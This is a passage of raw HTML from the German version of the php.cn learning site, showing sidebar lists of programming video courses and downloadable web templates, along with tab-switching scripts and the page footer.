target="_blank" title="小甲鱼零基础入门学习Python视频教程" href="https://www.php.cn/de/course/504.html">小甲鱼零基础入门学习Python视频教程</a> <div class="wzrthreerb"> <div >505735 Lernzeiten</div> <div class="courseICollection" data-id="504"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/901.html" title="Web前端开发极速入门" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/067/64be28a53a4f6310.png" alt="Web前端开发极速入门"/> </a> <div class="wzrthree-right"> <a target="_blank" title="Web前端开发极速入门" href="https://www.php.cn/de/course/901.html">Web前端开发极速入门</a> <div class="wzrthreerb"> <div >215572 Lernzeiten</div> <div class="courseICollection" data-id="901"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/234.html" title="零基础精通 PS 视频教程" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/62611f57ed0d4840.jpg" alt="零基础精通 PS 视频教程"/> </a> <div class="wzrthree-right"> <a target="_blank" title="零基础精通 PS 视频教程" href="https://www.php.cn/de/course/234.html">零基础精通 PS 视频教程</a> <div class="wzrthreerb"> <div >885037 Lernzeiten</div> <div class="courseICollection" data-id="234"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> </ul> <ul class="three" style="display: none;"> <li> <a target="_blank" href="https://www.php.cn/de/course/1648.html" title="【web前端】Node.js快速入门" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png" alt="【web前端】Node.js快速入门"/> </a> <div class="wzrthree-right"> <a target="_blank" title="【web前端】Node.js快速入门" href="https://www.php.cn/de/course/1648.html">【web前端】Node.js快速入门</a> <div class="wzrthreerb"> <div >7093 Lernzeiten</div> <div class="courseICollection" data-id="1648"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/1647.html" title="国外Web开发全栈课程全集" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/067/6628cc96e310c937.png" alt="国外Web开发全栈课程全集"/> </a> <div class="wzrthree-right"> <a target="_blank" title="国外Web开发全栈课程全集" href="https://www.php.cn/de/course/1647.html">国外Web开发全栈课程全集</a> <div class="wzrthreerb"> <div >5509 Lernzeiten</div> <div class="courseICollection" data-id="1647"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/1646.html" title="Go语言实战之 GraphQL" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/067/662221173504a436.png" alt="Go语言实战之 GraphQL"/> </a> <div class="wzrthree-right"> <a target="_blank" title="Go语言实战之 GraphQL" href="https://www.php.cn/de/course/1646.html">Go语言实战之 GraphQL</a> <div class="wzrthreerb"> <div >4645 Lernzeiten</div> <div class="courseICollection" data-id="1646"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/1645.html" title="550W粉丝大佬手把手从零学JavaScript" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/067/662077e163124646.png" alt="550W粉丝大佬手把手从零学JavaScript"/> </a> <div class="wzrthree-right"> <a target="_blank" title="550W粉丝大佬手把手从零学JavaScript" href="https://www.php.cn/de/course/1645.html">550W粉丝大佬手把手从零学JavaScript</a> <div class="wzrthreerb"> <div >667 Lernzeiten</div> <div class="courseICollection" data-id="1645"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/1644.html" title="python大神Mosh,零基础小白6小时完全入门" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/067/6616418ca80b8916.png" alt="python大神Mosh,零基础小白6小时完全入门"/> </a> <div class="wzrthree-right"> <a target="_blank" title="python大神Mosh,零基础小白6小时完全入门" href="https://www.php.cn/de/course/1644.html">python大神Mosh,零基础小白6小时完全入门</a> <div class="wzrthreerb"> <div >23466 Lernzeiten</div> <div class="courseICollection" data-id="1644"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> </ul> </div> <script> var mySwiper = new Swiper('.swiper2', { autoplay: false,//可选选项,自动滑动 slidesPerView : 'auto', }) $('.wzrthreeTab>div').click(function(e){ $('.wzrthreeTab>div').removeClass('check') $(this).addClass('check') $('.wzrthreelist>ul').css('display','none') $('.'+e.currentTarget.dataset.id).show() }) </script> </div> <div class="wzrFour"> <div class="wzrfour-title"> <div>Neueste Downloads</div> <a href="https://www.php.cn/de/xiazai">Mehr> </a> </div> <script> $(document).ready(function(){ var sjyx_banSwiper = new Swiper(".sjyx_banSwiperwz",{ speed:1000, autoplay:{ delay:3500, disableOnInteraction: false, }, pagination:{ el:'.sjyx_banSwiperwz .swiper-pagination', clickable :false, }, loop:true }) }) </script> <div class="wzrfourList swiper3"> <div class="wzrfourlTab swiper-wrapper"> <div class="check swiper-slide" data-id="onef">Web-Effekte <div></div></div> <div class="swiper-slide" data-id="twof">Quellcode der Website<div></div></div> <div class="swiper-slide" data-id="threef">Website-Materialien<div></div></div> <div class="swiper-slide" data-id="fourf">Frontend-Vorlage<div></div></div> </div> <ul class="onef"> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="Kontaktcode für das jQuery-Enterprise-Nachrichtenformular" href="https://www.php.cn/de/toolset/js-special-effects/8071">[Formular-Schaltfläche] Kontaktcode für das jQuery-Enterprise-Nachrichtenformular</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="Wiedergabeeffekte für HTML5-MP3-Spieluhren" href="https://www.php.cn/de/toolset/js-special-effects/8070">[Spezialeffekte für Spieler] Wiedergabeeffekte für HTML5-MP3-Spieluhren</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="HTML5 coole Partikelanimations-Navigationsmenü-Spezialeffekte" href="https://www.php.cn/de/toolset/js-special-effects/8069">[Menünavigation] HTML5 coole Partikelanimations-Navigationsmenü-Spezialeffekte</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="Drag-and-Drop-Bearbeitungscode für visuelle jQuery-Formulare" href="https://www.php.cn/de/toolset/js-special-effects/8068">[Formular-Schaltfläche] Drag-and-Drop-Bearbeitungscode für visuelle jQuery-Formulare</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="VUE.JS imitiert den Kugou-Musik-Player-Code" href="https://www.php.cn/de/toolset/js-special-effects/8067">[Spezialeffekte für Spieler] VUE.JS imitiert den Kugou-Musik-Player-Code</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="Klassisches HTML5-Pushing-Box-Spiel" href="https://www.php.cn/de/toolset/js-special-effects/8066">[HTML5-Spezialeffekte] Klassisches HTML5-Pushing-Box-Spiel</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="jQuery-Scrollen zum Hinzufügen oder Reduzieren von Bildeffekten" href="https://www.php.cn/de/toolset/js-special-effects/8065">[Bildspezialeffekte] jQuery-Scrollen zum Hinzufügen oder Reduzieren von Bildeffekten</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a target="_blank" title="Persönlicher CSS3-Albumcover-Hover-Zoom-Effekt" href="https://www.php.cn/de/toolset/js-special-effects/8064">[Fotoalbumeffekte] Persönlicher CSS3-Albumcover-Hover-Zoom-Effekt</a> </div> </li> </ul> <ul class="twof" style="display:none"> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8328" title="Website-Vorlage für Reinigungs- und Reparaturdienste für Inneneinrichtungen" target="_blank">[Frontend-Vorlage] Website-Vorlage für Reinigungs- und Reparaturdienste für Inneneinrichtungen</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8327" title="Persönliche Lebenslauf-Leitfaden-Seitenvorlage in frischen Farben" target="_blank">[Frontend-Vorlage] Persönliche Lebenslauf-Leitfaden-Seitenvorlage in frischen Farben</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8326" title="Web-Vorlage für kreativen Job-Lebenslauf für Designer" target="_blank">[Frontend-Vorlage] Web-Vorlage für kreativen Job-Lebenslauf für Designer</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8325" title="Website-Vorlage eines modernen Ingenieurbauunternehmens" target="_blank">[Frontend-Vorlage] Website-Vorlage eines modernen Ingenieurbauunternehmens</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8324" title="Responsive HTML5-Vorlage für Bildungseinrichtungen" target="_blank">[Frontend-Vorlage] Responsive HTML5-Vorlage für Bildungseinrichtungen</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8323" title="Vorlage für die Website eines Online-E-Book-Shops für Einkaufszentren" target="_blank">[Frontend-Vorlage] Vorlage für die Website eines Online-E-Book-Shops für Einkaufszentren</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8322" title="IT-Technologie löst Website-Vorlage für Internetunternehmen" target="_blank">[Frontend-Vorlage] IT-Technologie löst Website-Vorlage für Internetunternehmen</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8321" title="Website-Vorlage für Devisenhandelsdienste im violetten Stil" target="_blank">[Frontend-Vorlage] Website-Vorlage für Devisenhandelsdienste im violetten Stil</a> </div> </li> </ul> <ul class="threef" style="display:none"> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3078" target="_blank" title="可爱的夏天元素矢量素材(EPS+PNG)">[PNG material] 可爱的夏天元素矢量素材(EPS+PNG)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3077" target="_blank" title="四个红的的 2023 毕业徽章矢量素材(AI+EPS+PNG)">[PNG material] 四个红的的 2023 毕业徽章矢量素材(AI+EPS+PNG)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3076" target="_blank" title="唱歌的小鸟和装满花朵的推车设计春天banner矢量素材(AI+EPS)">[Banner image] 唱歌的小鸟和装满花朵的推车设计春天banner矢量素材(AI+EPS)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3075" target="_blank" title="金色的毕业帽矢量素材(EPS+PNG)">[PNG material] 金色的毕业帽矢量素材(EPS+PNG)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3074" target="_blank" title="黑白风格的山脉图标矢量素材(EPS+PNG)">[PNG material] 黑白风格的山脉图标矢量素材(EPS+PNG)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3073" target="_blank" title="不同颜色披风和不同姿势的超级英雄剪影矢量素材(EPS+PNG)">[PNG material] 不同颜色披风和不同姿势的超级英雄剪影矢量素材(EPS+PNG)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3072" target="_blank" title="扁平风格的植树节banner矢量素材(AI+EPS)">[Banner image] 扁平风格的植树节banner矢量素材(AI+EPS)</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-materials/3071" target="_blank" title="九个漫画风格的爆炸聊天气泡矢量素材(EPS+PNG)">[PNG material] 九个漫画风格的爆炸聊天气泡矢量素材(EPS+PNG)</a> </div> </li> </ul> <ul class="fourf" style="display:none"> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8328" target="_blank" title="Website-Vorlage für Reinigungs- und Reparaturdienste für Inneneinrichtungen">[Frontend-Vorlage] Website-Vorlage für Reinigungs- und Reparaturdienste für Inneneinrichtungen</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8327" target="_blank" title="Persönliche Lebenslauf-Leitfaden-Seitenvorlage in frischen Farben">[Frontend-Vorlage] Persönliche Lebenslauf-Leitfaden-Seitenvorlage in frischen Farben</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8326" target="_blank" title="Web-Vorlage für kreativen Job-Lebenslauf für Designer">[Frontend-Vorlage] Web-Vorlage für kreativen Job-Lebenslauf für Designer</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8325" target="_blank" title="Website-Vorlage eines modernen Ingenieurbauunternehmens">[Frontend-Vorlage] Website-Vorlage eines modernen Ingenieurbauunternehmens</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8324" target="_blank" title="Responsive HTML5-Vorlage für Bildungseinrichtungen">[Frontend-Vorlage] Responsive HTML5-Vorlage für Bildungseinrichtungen</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8323" target="_blank" title="Vorlage für die Website eines Online-E-Book-Shops für Einkaufszentren">[Frontend-Vorlage] Vorlage für die Website eines Online-E-Book-Shops für Einkaufszentren</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8322" target="_blank" title="IT-Technologie löst Website-Vorlage für Internetunternehmen">[Frontend-Vorlage] IT-Technologie löst Website-Vorlage für Internetunternehmen</a> </div> </li> <li> <div class="wzrfourli"> <span class="layui-badge-dots wzrflr"></span> <a href="https://www.php.cn/de/toolset/website-source-code/8321" target="_blank" title="Website-Vorlage für Devisenhandelsdienste im violetten Stil">[Frontend-Vorlage] Website-Vorlage für Devisenhandelsdienste im violetten Stil</a> </div> </li> </ul> </div> <script> var mySwiper = new Swiper('.swiper3', { autoplay: false,//可选选项,自动滑动 slidesPerView : 'auto', }) $('.wzrfourlTab>div').click(function(e){ $('.wzrfourlTab>div').removeClass('check') $(this).addClass('check') $('.wzrfourList>ul').css('display','none') $('.'+e.currentTarget.dataset.id).show() }) </script> </div> </div> </div> <footer> <div class="footer"> <div class="footertop"> <img src="/static/imghw/logo.png" alt=""> <p>Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!</p> </div> <div class="footermid"> <a href="https://www.php.cn/de/about/us.html">Über uns</a> <a href="https://www.php.cn/de/about/disclaimer.html">Haftungsausschluss</a> <a href="https://www.php.cn/de/update/article_0_1.html">Sitemap</a> </div> <div class="footerbottom"> <p> © php.cn All rights reserved </p> </div> </div> </footer> <input type="hidden" id="verifycode" value="/captcha.html"> <script>layui.use(['element', 'carousel'], function () {var element = layui.element;$ = layui.jquery;var carousel = layui.carousel;carousel.render({elem: '#test1', width: '100%', height: '330px', arrow: 'always'});$.getScript('/static/js/jquery.lazyload.min.js', function () {$("img").lazyload({placeholder: "/static/images/load.jpg", effect: "fadeIn", threshold: 200, skip_invisible: false});});});</script> <script src="/static/js/common_new.js"></script> <script type="text/javascript" src="/static/js/jquery.cookie.js?1732490836"></script> <script src="https://vdse.bdstatic.com//search-video.v1.min.js"></script> <link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css?2' type='text/css' media='all'/> <script type='text/javascript' src='/static/js/viewer.min.js?1'></script> <script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script> <script type="text/javascript" src="/static/js/global.min.js?5.5.53"></script> </body> </html>